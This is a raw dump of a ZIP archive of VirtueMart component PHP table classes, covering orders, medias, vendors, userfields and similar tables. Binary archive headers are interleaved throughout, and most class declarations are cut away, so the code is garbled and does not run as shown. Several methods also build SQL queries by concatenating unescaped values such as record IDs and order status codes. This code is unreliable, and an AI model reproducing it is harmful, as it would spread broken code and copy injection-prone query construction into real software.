`#__virtuemart_userinfos` WHERE `virtuemart_user_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } } // No Closing tag PK@y>\όA` ` 5components/com_virtuemart/tables/userfield_values.phpnuW+AsetPrimaryKey('virtuemart_userfield_id'); } /** * Validates the userfields record fields, and checks if the given value already exists. * If so, the primary key is set. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check() { if (preg_match('/[^a-z0-9\._\-]/i', $this->fieldvalue) > 0) { vmError(JText::_('COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS')); return false; } $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_userfield_value_id` FROM `#__virtuemart_userfield_values` ' . 'WHERE `fieldvalue`="' . $this->fieldvalue . '" ' . 'AND `virtuemart_userfield_id`=' . $this->virtuemart_userfield_id; $db->setQuery($q); $_id = $db->loadResult(); if ($_id === null) { $this->virtuemart_userfield_value_id = null; } else { $this->virtuemart_userfield_value_id = $_id; } return true; } /** * Reimplement delete() to get a list if value IDs based on the field id * @var Field id * @return boolean True on success */ function delete( $virtuemart_userfield_id=null , $where = 0 ){ $db = JFactory::getDBO(); $db->setQuery('DELETE from `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_id` = ' . $virtuemart_userfield_id); if ($db->query() === false) { vmError($db->getError()); return false; } return true; } } //No CLosing Tag PK@y>\ 0components/com_virtuemart/tables/order_items.phpnuW+AsetLoggable(); } } // pure php no closing tag PK@y>\J>37components/com_virtuemart/tables/calc_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PK@y>\ J-components/com_virtuemart/tables/invoices.phpnuW+AsetUniqueName('invoice_number'); $this->setLoggable(); $this->setTableShortCut('inv'); } } PK@y>\0sT]],components/com_virtuemart/tables/vmusers.phpnuW+AsetPrimaryKey('virtuemart_user_id'); $this->setLoggable(); $this->setTableShortCut('vmu'); } } PK@y>\ox4components/com_virtuemart/tables/calc_categories.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_category_id','calc_categories'); } } PK@y>\w% 3components/com_virtuemart/tables/product_prices.phpnuW+AsetPrimaryKey('virtuemart_product_price_id'); $this->setLoggable(); $this->setTableShortCut('pp'); $this->_updateNulls = true; } /** * @author Max Milbers * @param */ function check(){ if(!empty($this->product_price)){ $this->product_price = str_replace(array(',',' '),array('.',''),$this->product_price); } if(isset($this->product_override_price)){ $this->product_override_price = str_replace(array(',',' '),array('.',''),$this->product_override_price); } return parent::check(); } } // pure php no closing tag PK@y>\ɂ4components/com_virtuemart/tables/shipmentmethods.phpnuW+AsetUniqueName('shipment_name'); $this->setObligatoryKeys('shipment_jplugin_id'); $this->setObligatoryKeys('shipment_name'); $this->setLoggable(); $this->setTranslatable(array('shipment_name', 'shipment_desc')); $this->setSlug('shipment_name'); } } // pure php no closing tag PK@y>\(]99Acomponents/com_virtuemart/tables/shipmentmethod_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_shipmentmethod_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PK@y>\d`a5 5 /components/com_virtuemart/tables/currencies.phpnuW+AsetUniqueName('currency_name'); $this->setLoggable(); $this->setOrderable(); } function check(){ //$this->checkCurrencySymbol(); return parent::check(); } /** * ATM Unused ! * Checks a currency symbol wether it is a HTML entity. * When not and $convertToEntity is true, it converts the symbol * Seems not be used ATTENTION seems BROKEN, working only for euro, ... * */ function checkCurrencySymbol($convertToEntity=true ) { $symbol = str_replace('&', '&', $this->currency_symbol ); if( substr( $symbol, 0, 1) == '&' && substr( $symbol, strlen($symbol)-1, 1 ) == ';') { return $symbol; } else { if( $convertToEntity ) { $symbol = htmlentities( $symbol, ENT_QUOTES, 'utf-8' ); if( substr( $symbol, 0, 1) == '&' && substr( $symbol, strlen($symbol)-1, 1 ) == ';') { return $symbol; } // Sometimes htmlentities() doesn't return a valid HTML Entity switch( ord( $symbol ) ) { case 128: case 63: $symbol = '€'; break; } } } $this->currency_symbol = $symbol; } } // pure php no closing tag PK@y>\",components/com_virtuemart/tables/ratings.phpnuW+AsetPrimaryKey('virtuemart_rating_id'); // $this->setObligatoryKeys('virtuemart_product_id'); $this->setLoggable(); $this->setTableShortCut('r'); } } // pure php no closing tag PK@y>\T% % 3components/com_virtuemart/tables/paymentmethods.phpnuW+AsetObligatoryKeys('payment_jplugin_id'); $this->setObligatoryKeys('payment_name'); $this->setLoggable(); $this->setTranslatable(array('payment_name', 'payment_desc')); $this->setSlug('payment_name'); // $this->setUniqueName('ordering'); } } // pure php no closing tag PK@y>\)*components/com_virtuemart/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\422,components/com_virtuemart/tables/vendors.phpnuW+AsetPrimaryKey('virtuemart_vendor_id'); $this->setUniqueName('vendor_name'); $this->setSlug('vendor_store_name'); //Attention the slug autoname MUST be also in the translatable, if existing $this->setLoggable(); $this->setTranslatable(array('vendor_store_name','vendor_phone','vendor_store_desc','vendor_terms_of_service','vendor_legal_info','vendor_url','metadesc','metakey','customtitle','vendor_letter_css', 'vendor_letter_header_html', 'vendor_letter_footer_html')); $varsToPushParam = array( 'vendor_min_pov'=>array(0.0,'float'), 'vendor_min_poq'=>array(1,'int'), 'vendor_freeshipment'=>array(0.0,'float'), 'vendor_address_format'=>array('','string'), 'vendor_date_format'=>array('','string'), 'vendor_letter_format'=>array('A4','string'), 'vendor_letter_orientation'=>array('P','string'), 'vendor_letter_margin_top'=>array(45,'int'), 'vendor_letter_margin_left'=>array(25,'int'), 'vendor_letter_margin_right'=>array(25,'int'), 'vendor_letter_margin_bottom'=>array(25,'int'), 'vendor_letter_margin_header'=>array(12,'int'), 'vendor_letter_margin_footer'=>array(20,'int'), 'vendor_letter_font'=>array('helvetica','string'), 'vendor_letter_font_size'=>array(8, 'int'), 'vendor_letter_header_font_size'=>array(7, 'int'), 'vendor_letter_footer_font_size'=>array(6, 'int'), 'vendor_letter_header'=>array(1,'int'), 'vendor_letter_header_line'=>array(1,'int'), 'vendor_letter_header_line_color'=>array("#000000",'string'), 'vendor_letter_header_image'=>array(1,'int'), 'vendor_letter_header_imagesize'=>array(60,'int'), 'vendor_letter_header_cell_height_ratio'=>array(1,'float'), 'vendor_letter_footer'=>array(1,'int'), 'vendor_letter_footer_line'=>array(1,'int'), 'vendor_letter_footer_line_color'=>array("#000000",'string'), 'vendor_letter_footer_cell_height_ratio'=>array(1,'float'), 'vendor_letter_add_tos' => array(0,'int'), 'vendor_letter_add_tos_newpage' => array(1,'int') ); $this->setParameterable('vendor_params',$varsToPushParam); $this->setTableShortCut('v'); // vmdebug('myvendor table',$this); } } //pure php no closing tag PK@y>\̅m@components/com_virtuemart/tables/paymentmethod_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_paymentmethod_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PK@y>\1components/com_virtuemart/tables/waitingusers.phpnuW+AsetLoggable(); } function check() { if(empty($this->notify_email) || !filter_var($this->notify_email, FILTER_VALIDATE_EMAIL)) { vmError(JText::_('COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS'),JText::_('COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS')); return false; } return parent::check(); } } // pure php no closing tag PK@y>\.components/com_virtuemart/tables/languages.phpnuW+AsetTableShortCut('l'); } } // pure php no closing tag PK@y>\ܓC  7components/com_virtuemart/tables/product_categories.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_category_id'); $this->setOrderable('ordering',false); } } PK@y>\zz2components/com_virtuemart/tables/manufacturers.phpnuW+AsetUniqueName('mf_name'); $this->setLoggable(); $this->setTranslatable(array('mf_name','mf_email','mf_desc','mf_url')); $this->setSlug('mf_name'); $this->setTableShortCut('m'); } } // pure php no closing tag PK@y>\mn8components/com_virtuemart/tables/manufacturer_medias.phpnuW+AsetPrimaryKey('virtuemart_manufacturer_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); } } PK@y>\q+components/com_virtuemart/tables/orders.phpnuW+AsetUniqueName('order_number'); $this->setLoggable(); $this->setTableShortCut('o'); } function check(){ if(empty($this->order_number)){ if(!class_exists('VirtueMartModelOrders')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'orders.php'); $this->order_number = VirtueMartModelOrders::generateOrderNumber((string)time()); } if(empty($this->order_pass)){ $this->order_pass = 'p_'.substr( md5((string)time().$this->order_number ), 0, 5); } $adminID = JFactory::getSession()->get('vmAdminID'); if(isset($adminID)) { $this->created_by = $adminID; } return parent::check(); } /** * Overloaded delete() to delete records from order_userinfo and order payment as well, * and write a record to the order history (TODO Or should the hist table be cleaned as well?) * * @var integer Order id * @return boolean True on success * @author Oscar van Eijk * @author Kohl Patrick */ function delete( $id=null , $where = 0 ){ $this->_db->setQuery('DELETE from `#__virtuemart_order_userinfos` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } /*vm_order_payment NOT EXIST have to find the table name*/ $this->_db->setQuery( 'SELECT `payment_element` FROM `#__virtuemart_paymentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_paymentmethods`.`virtuemart_paymentmethod_id` = `#__virtuemart_orders`.`virtuemart_paymentmethod_id` AND `virtuemart_order_id` = ' . $id ); $paymentTable = '#__virtuemart_payment_plg_'. $this->_db->loadResult(); $this->_db->setQuery('DELETE from `'.$paymentTable.'` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } /*vm_order_shipment NOT EXIST have to find the table name*/ $this->_db->setQuery( 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $id ); $shipmentName = $this->_db->loadResult(); if(empty($shipmentName)){ vmError('Seems the used shipmentmethod got deleted'); //Can we securely prevent this just using // 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` // WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $id ); } else { $shipmentTable = '#__virtuemart_shipment_plg_'. $shipmentName; $this->_db->setQuery('DELETE from `'.$shipmentTable.'` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError('TableOrders delete Order shipmentTable = '.$shipmentTable.' `virtuemart_order_id` = '.$id.' dbErrorMsg '.$this->_db->getError()); return false; } } $_q = 'INSERT INTO `#__virtuemart_order_histories` (' . ' virtuemart_order_history_id' . ',virtuemart_order_id' . ',order_status_code' . ',created_on' . ',customer_notified' . ',comments' .') VALUES (' . ' NULL' . ','.$id . ",'-'" . ',NOW()' . ',0' . ",'Order deleted'" .')'; $this->_db->setQuery($_q); $this->_db->query(); // Ignore error here return parent::delete($id); } } PK@y>\f/components/com_virtuemart/tables/worldzones.phpnuW+AsetUniqueName('zone_name'); $this->setLoggable(); } } // pure php no closing tag PK@y>\4CETT,components/com_virtuemart/tables/coupons.phpnuW+AsetObligatoryKeys('coupon_code'); $this->setLoggable(); } } // pure php no closing tag PK@y>\f0components/com_virtuemart/tables/calc_states.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_state_id'); } } PK@y>\2nNU U ;components/com_virtuemart/tables/manufacturercategories.phpnuW+AsetUniqueName('mf_category_name'); $this->setLoggable(); $this->setTranslatable(array('mf_category_name','mf_category_desc')); $this->setSlug('mf_category_name'); } /* * Verify that user have to delete all manufacturers of a particular category before that category can be removed * * @return boolean True if category is ready to be removed, otherwise False */ function checkManufacturer($categoryId = 0) { if($categoryId > 0) { $db = JFactory::getDBO(); $q = 'SELECT count(*)' .' FROM #__virtuemart_manufacturers' .' WHERE virtuemart_manufacturercategories_id = '.$categoryId; $db->setQuery($q); $mCount = $db->loadResult(); if($mCount > 0) { vmInfo('COM_VIRTUEMART_REMOVE_IN_USE'); return false; } } return true; } } // pure php no closing tag PK@y>\K>1components/com_virtuemart/tables/rating_votes.phpnuW+AsetPrimaryKey('virtuemart_rating_vote_id'); $this->setLoggable(); } } // pure php no closing tag PK@y>\5components/com_virtuemart/tables/order_calc_rules.phpnuW+AsetLoggable(); } } // pure php no closing tag PK@y>\,components/com_virtuemart/tables/reports.phpnuW+A\P[--+components/com_virtuemart/tables/medias.phpnuW+AsetPrimaryKey('virtuemart_media_id'); // $this->setUniqueName('file_title'); $this->setLoggable (); } /** * * @author Max Milbers * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check () { $ok = TRUE; $notice = TRUE; if (empty($this->file_type) and empty($this->file_is_forSale)) { $ok = FALSE; vmError (JText::sprintf ('COM_VIRTUEMART_MEDIA_NO_TYPE'), $this->file_name); } if (!empty($this->file_url)) { if (function_exists ('mb_strlen')) { if (mb_strlen ($this->file_url) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_URL_TOO_LONG', mb_strlen ($this->file_url))); } } else { if (strlen ($this->file_url) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_URL_TOO_LONG', strlen ($this->file_url))); } } if (strpos ($this->file_url, '..') !== FALSE) { $ok = FALSE; vmError (JText::sprintf ('COM_VIRTUEMART_URL_NOT_VALID', $this->file_url)); } if (empty($this->virtuemart_media_id)) { $q = 'SELECT `virtuemart_media_id`,`file_url` FROM `' . $this->_tbl . '` WHERE `file_url` = "' . $this->_db->getEscaped ($this->file_url) . '" '; $this->_db->setQuery ($q); $unique_id = $this->_db->loadAssocList (); $count = count ($unique_id); if ($count !== 0) { if ($count == 1) { if (empty($this->virtuemart_media_id)) { $this->virtuemart_media_id = $unique_id[0]['virtuemart_media_id']; } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_IS_ALREADY_IN_DB')); $ok = FALSE; } } else { // vmError(JText::_('COM_VIRTUEMART_MEDIA_IS_DOUBLED_IN_DB')); vmError (JText::_ ('COM_VIRTUEMART_MEDIA_IS_DOUBLED_IN_DB')); $ok = FALSE; } } } } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_MUST_HAVE_URL')); $ok = FALSE; } if (empty($this->file_title) && !empty($this->file_name)) { $this->file_title = $this->file_name; } if (!empty($this->file_title)) { if (strlen ($this->file_title) > 126) { vmError (JText::sprintf ('COM_VIRTUEMART_TITLE_TOO_LONG', strlen ($this->file_title))); } $q = 'SELECT * FROM `' . $this->_tbl . '` '; $q .= 'WHERE `file_title`="' . $this->_db->getEscaped ($this->file_title) . '" AND `file_type`="' . $this->_db->getEscaped ($this->file_type) . '"'; $this->_db->setQuery ($q); $unique_id = $this->_db->loadAssocList (); $tblKey = 'virtuemart_media_id'; if (!empty($unique_id)) { foreach ($unique_id as $item) { if ($item['virtuemart_media_id'] != $this->virtuemart_media_id) { $lastDir = substr ($this->file_url, 0, strrpos ($this->file_url, '/')); $lastDir = substr ($lastDir, strrpos ($lastDir, '/') + 1); if (!empty($lastDir)) { $this->file_title = $this->file_title . '_' . $lastDir; } else { $this->file_title = $this->file_title . '_' . rand (1, 9); } } } } } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE')); $ok = FALSE; } if (!empty($this->file_description)) { if (strlen ($this->file_description) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_DESCRIPTION_TOO_LONG', strlen ($this->file_description))); } } // $app = JFactory::getApplication(); //vmError('Checking '.$this->file_url); if (empty($this->file_mimetype)) { $rel_path = str_replace ('/', DS, $this->file_url); //The function mime_content_type is deprecated, we may use /*function _mime_content_type($filename) { $result = new finfo(); if (is_resource($result) === true) { return $result->file($filename, FILEINFO_MIME_TYPE); } return false; } if (function_exists ('mime_content_type')) { $ok = TRUE; $app = JFactory::getApplication (); if (!$this->file_is_forSale) { $this->file_mimetype = mime_content_type (JPATH_ROOT . DS . $rel_path); } else { $this->file_mimetype = mime_content_type ($rel_path); } if (!empty($this->file_mimetype)) { if ($this->file_mimetype == 'directory') { vmError ('cant store this media, is a directory ' . $rel_path); return FALSE; } else { if (strpos ($this->file_mimetype, 'corrupt') !== FALSE) { vmError ('cant store this media, Document corrupt: Cannot read summary info ' . $rel_path); return FALSE; } } } else { vmError ('Couldnt resolve mime ' . $rel_path); return FALSE; } } else {*/ if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } if (!$this->file_is_forSale) { $lastIndexOfSlash = strrpos ($this->file_url, '/'); $name = substr ($this->file_url, $lastIndexOfSlash + 1); $file_extension = strtolower (JFile::getExt ($name)); } else { $lastIndexOfSlash = strrpos ($this->file_url, DS); $name = substr ($this->file_url, $lastIndexOfSlash + 1); $file_extension = strtolower (JFile::getExt ($name)); } if (empty($name)) { vmError (JText::_ ('COM_VIRTUEMART_NO_MEDIA')); } //images elseif($file_extension === 'jpg' or $file_extension === 'jpeg' or $file_extension === 'jpe'){ $this->file_mimetype = 'image/jpeg'; } elseif($file_extension === 'gif'){ $this->file_mimetype = 'image/gif'; } elseif($file_extension === 'png'){ $this->file_mimetype = 'image/png'; } elseif($file_extension === 'bmp'){ vmInfo(JText::sprintf('COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP',$name)); $notice = true; } //audio elseif($file_extension === 'mp3'){ $this->file_mimetype = 'audio/mpeg'; } elseif($file_extension === 'ogg'){ $this->file_mimetype = 'audio/ogg'; } elseif($file_extension === 'oga'){ $this->file_mimetype = 'audio/vorbis'; } elseif($file_extension === 'wma'){ $this->file_mimetype = 'audio-/x-ms-wma'; } //video //added missing mimetypes: m2v elseif( $file_extension === 'mp4' or $file_extension === 'mpe' or $file_extension === 'mpeg' or $file_extension === 'mpg' or $file_extension === 'mpga' or $file_extension === 'm2v'){ $this->file_mimetype = 'video/mpeg'; } elseif($file_extension === 'avi'){ $this->file_mimetype = 'video/x-msvideo'; } elseif($file_extension === 'qt' or $file_extension === 'mov'){ $this->file_mimetype = 'video/quicktime'; } elseif($file_extension === 'wmv'){ $this->file_mimetype = 'video/x-ms-wmv'; } //Added missing formats elseif($file_extension === '3gp'){ $this->file_mimetype = 'video/3gpp'; } elseif($file_extension === 'ogv'){ $this->file_mimetype = 'video/ogg'; } elseif($file_extension === 'flv'){ $this->file_mimetype = 'video/x-flv'; } elseif($file_extension === 'f4v'){ $this->file_mimetype = 'video/x-f4v'; } elseif($file_extension === 'm4v'){ $this->file_mimetype = 'video/x-m4v'; } elseif($file_extension === 'webm'){ $this->file_mimetype = 'video/webm'; } //applications elseif($file_extension === 'zip'){ $this->file_mimetype = 'application/zip'; } elseif($file_extension === 'pdf'){ $this->file_mimetype = 'application/pdf'; } elseif($file_extension === 'gz'){ $this->file_mimetype = 'application/x-gzip'; } elseif($file_extension === 'exe'){ $this->file_mimetype = 'application/octet-stream'; } elseif($file_extension === 'swf'){ $this->file_mimetype = 'application/x-shockwave-flash'; } //missing types elseif($file_extension === 'doc'){ $this->file_mimetype = 'application/msword'; } elseif($file_extension === 'docx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; } elseif($file_extension === 'xls'){ $this->file_mimetype = 'application/vnd.ms-excel'; } elseif($file_extension === 'xlsx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'; } elseif($file_extension === 'ppt'){ $this->file_mimetype = 'application/vnd.ms-powerpoint'; } elseif($file_extension === 'pptx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.presentationml.presentation'; } elseif($file_extension === 'txt'){ $this->file_mimetype = 'text/plain'; } elseif($file_extension === 'rar'){ $this->file_mimetype = 'application/x-rar-compressed'; } else { vmInfo (JText::sprintf ('COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE', $name)); $notice = TRUE; } //} } //Nasty small hack, should work as long the word for default is in the language longer than 3 words and the first //letter should be always / or something like this //It prevents storing of the default path $a = trim(substr($this->file_url_thumb,0,4)); $b = trim(substr(JText::_('COM_VIRTUEMART_DEFAULT_URL'),0,4)); if( strpos($a,$b)!==FALSE ){ $this->file_url_thumb = null; } if ($ok) { return parent::check (); } else { return FALSE; } } /** * We need a customised error handler to catch the errors maybe thrown by * mime_content_type * * @author Max Milbers derived from Philippe Gerber */ function handleError ($errno, $errstr) { // error was suppressed with the @-operator if (0 === error_reporting ()) { return FALSE; } throw new ErrorException($errstr, 0); //echo 'I throw exception'; //throw new ErrorException($errstr, 0, $errno, $errfile, $errline); } } // pure php no closing tag PK@y>\$2components/com_virtuemart/tables/vendor_medias.phpnuW+AsetPrimaryKey('virtuemart_vendor_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); } } PK@y>\@c ,components/com_virtuemart/tables/customs.phpnuW+AsetUniqueName('custom_title'); $this->setObligatoryKeys('field_type'); $this->setLoggable(); $this->setOrderable('ordering',false); } /* * field from 3 table have to be checked at delete * #__vm_custom_field,#__virtuemart_customs,#__virtuemart_product_customfields */ function delete( $id=null , $where = 0 ){ $this->_db->setQuery('DELETE X,C FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS X ON X.`virtuemart_custom_id` = C.`virtuemart_custom_id` WHERE C.`virtuemart_custom_id`=' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } } // pure php no closing tag PK@y>\Ikk3components/com_virtuemart/tables/rating_reviews.phpnuW+AsetPrimaryKey('virtuemart_rating_review_id'); $this->setObligatoryKeys('comment'); $this->setLoggable(); } } // pure php no closing tag PK@y>\ J//,components/com_virtuemart/tables/configs.phpnuW+AsetLoggable(); } } // pure php no closing tag PK@y>\\\2components/com_virtuemart/tables/shoppergroups.phpnuW+AsetUniqueName('shopper_group_name'); $this->setLoggable(); $this->setTableShortCut('sg'); } // /** // * Validates the shopper group record fields. // * // * @author Markus Öhler // * @return boolean True if the table buffer contains valid data, false otherwise. // */ function check(){ if (empty($this->shopper_group_name) ){ vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME')); return false; } else { if(function_exists('mb_strlen') ){ if (mb_strlen($this->shopper_group_name) > 32) { vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS')); return false; } } else { if (strlen($this->shopper_group_name) > 32) { vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS')); return false; } } } return parent::check(); } } // pure php no closing tag PK@y>\D 0components/com_virtuemart/tables/orderstates.phpnuW+AsetObligatoryKeys('order_status_code'); $this->setObligatoryKeys('order_status_name'); $this->setObligatoryKeys('order_stock_handle'); $this->setLoggable(); } /** * Validates the order status record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check(){ $db = JFactory::getDBO(); $q = 'SELECT count(*),virtuemart_orderstate_id FROM `#__virtuemart_orderstates` '; $q .= 'WHERE `order_status_code`="' . $this->order_status_code . '"'; $db->setQuery($q); $row = $db->loadRow(); if(is_array($row)){ if($row[0]>0){ if($row[1] != $this->virtuemart_orderstate_id){ vmError(JText::_('COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS')); return false; } } } return parent::check(); } } //No CLosing Tag PK@y>\0 *components/com_virtuemart/tables/calcs.phpnuW+AsetUniqueName('calc_name'); $this->setObligatoryKeys('calc_kind'); $this->setLoggable(); } } // pure php no closing tag PK@y>\p-components/com_virtuemart/tables/products.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setObligatoryKeys('product_name'); $this->setLoggable(); $this->setTranslatable(array('product_name','product_s_desc','product_desc','metadesc','metakey','customtitle')); $this->setSlug('product_name'); $this->setTableShortCut('p'); //We could put into the params also the product_availability and the low_stock_notification $varsToPushParam = array( 'min_order_level'=>array(null,'float'), 'max_order_level'=>array(null,'float'), 'step_order_level'=>array(null,'float'), //'product_packaging'=>array(null,'float'), 'product_box'=>array(null,'float') ); $this->setParameterable('product_params',$varsToPushParam); $this->_updateNulls = true; } } // pure php no closing tag PK@y>\3,//3components/com_virtuemart/tables/product_medias.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable('ordering',true); // $this->setOrderableFormname('mediaordering'); } } PK@y>\%::.components/com_virtuemart/tables/countries.phpnuW+AsetUniqueName('country_name'); $this->setObligatoryKeys('country_2_code'); $this->setObligatoryKeys('country_3_code'); $this->setLoggable(); $this->setOrderable('ordering',false); } } // pure php no closing tag PK@y>\y00+components/com_virtuemart/tables/states.phpnuW+AsetUniqueName('state_name'); $this->setObligatoryKeys('state_2_code'); $this->setObligatoryKeys('state_3_code'); $this->setLoggable(); } } // pure php no closing tag PK@y>\+components/com_virtuemart/tables/index.htmlnuW+APK@y>\ KRR/components/com_virtuemart/tables/usergroups.phpnuW+AsetUniqueName('group_name'); $this->setLoggable(); } /** * Validates the userfields record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check($nrOfValues){ if (preg_match('/[^a-z0-9\._\-]/i', $this->group_name) > 0) { vmError(JText::_('COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS')); return false; } return parent::check(); } } //No CLosing Tag PK@y>\mK%:components/com_virtuemart/tables/product_manufacturers.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_manufacturer_id'); } } PK@y>\St3components/com_virtuemart/tables/calc_countries.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_country_id'); } } PK@y>\ߝ8components/com_virtuemart/tables/category_categories.phpnuW+AsetPrimaryKey('category_child_id'); $this->setOrderable(); $this->setTableShortCut('cx'); } }PK@y>\mPP/components/com_virtuemart/tables/userfields.phpnuW+AsetPrimaryKey('virtuemart_userfield_id'); $this->setUniqueName('name'); $this->setObligatoryKeys('title'); $this->setLoggable(); $this->setOrderable('ordering',false); } /** * Validates the userfields record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check($nrOfValues) { if (preg_match('/[^a-z0-9\._\-]/i', $this->name) > 0) { vmError(JText::_('COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS')); return false; } if($this->name !='virtuemart_country_id' and $this->name !='virtuemart_state_id'){ $reqValues = array('select', 'multiselect', 'radio', 'multicheckbox'); if (in_array($this->type, $reqValues) and $nrOfValues == 0 ) { vmError(JText::_('COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE')); return false; } } return parent::check(); } /** * Format the field type * @param $_data array array with additional data written to other tables * @return string Field type in SQL syntax */ function formatFieldType(&$_data = array()) { $_fieldType = $this->type; switch($this->type) { case 'date': $_fieldType = 'DATE'; break; case 'editorta': case 'textarea': case 'multiselect': case 'multicheckbox': $_fieldType = 'MEDIUMTEXT'; break; case 'checkbox': $_fieldType = 'TINYINT'; break; case 'age_verification': $this->params = 'minimum_age='.(int)$_data['minimum_age']."\n"; default: $_fieldType = 'VARCHAR(255)'; break; } return $_fieldType; } /** * Reimplement the store method to return the last inserted ID * * @return mixed When a new record was succesfully inserted, return the ID, otherwise the status */ public function store($updateNulls = false) { $isNew = ($this->virtuemart_userfield_id == 0); if (!parent::store($updateNulls)) { // Write data to the DB vmError($this->getError()); return false; } else { return $this->virtuemart_userfield_id; } } function checkAndDelete($table,$where = 0){ $ok = 1; $k = $this->_tbl_key; if($where!==0){ $whereKey = $where; } else { $whereKey = $this->_pkey; } $query = 'SELECT `'.$this->_tbl_key.'` FROM `'.$table.'` WHERE '.$whereKey.' = "' .$this->$k . '"'; // stAn - it should be better to add this directly to the controller of the shopper fields // only additionally, controllers are not considered as safe. if (isset($this->name)) { $umodel = VmModel::getModel('userfields'); $arr = $umodel->getCoreFields(); if (in_array($this->name, $arr)) { vmError('Cannot delete core field!'); return false; } } $this->_db->setQuery( $query ); $list = $this->_db->loadResultArray(); if($list){ foreach($list as $row){ $ok = $row; $query = 'DELETE FROM `'.$table.'` WHERE '.$this->_tbl_key.' = "'.$row.'"'; $this->_db->setQuery( $query ); if (!$this->_db->query()){ $this->setError($this->_db->getErrorMsg()); vmError('checkAndDelete '.$this->_db->getErrorMsg()); $ok = 0; } } } return $ok; } } //No CLosing Tag PK@y>\.`LL4components/com_virtuemart/tables/order_histories.phpnuW+AsetObligatoryKeys('virtuemart_order_id'); $this->setLoggable(); } } // pure php no closing tag PK@y>\H ==9components/com_virtuemart/tables/vmuser_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_user_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PK@y>\/<4components/com_virtuemart/tables/order_userinfos.phpnuW+AsetLoggable(); } } // No closing tagPK@y>\)b9components/com_virtuemart/tables/order_item_histories.phpnuW+AsetObligatoryKeys('virtuemart_order_item_id'); $this->setLoggable(); } } // pure php no closing tag PK@y>\o0N7components/com_virtuemart/tables/calc_manufacturers.phpnuW+A St.Kraft 2013-02-24 Herstellerrabatt * @param JDataBase $db */ function __construct(&$db){ parent::__construct('#__virtuemart_calc_manufacturers', 'id', $db); $this->setPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_manufacturer_id'); } } PK@y>\AO9components/com_virtuemart/tables/product_customfields.phpnuW+AsetPrimaryKey('virtuemart_product_id'); // $this->setSecondaryKey('virtuemart_customfield_id'); $this->setLoggable(); $this->setOrderable(); } function check(){ if(!empty($this->custom_price)){ $this->custom_price = str_replace(array(',',' '),array('.',''),$this->custom_price); 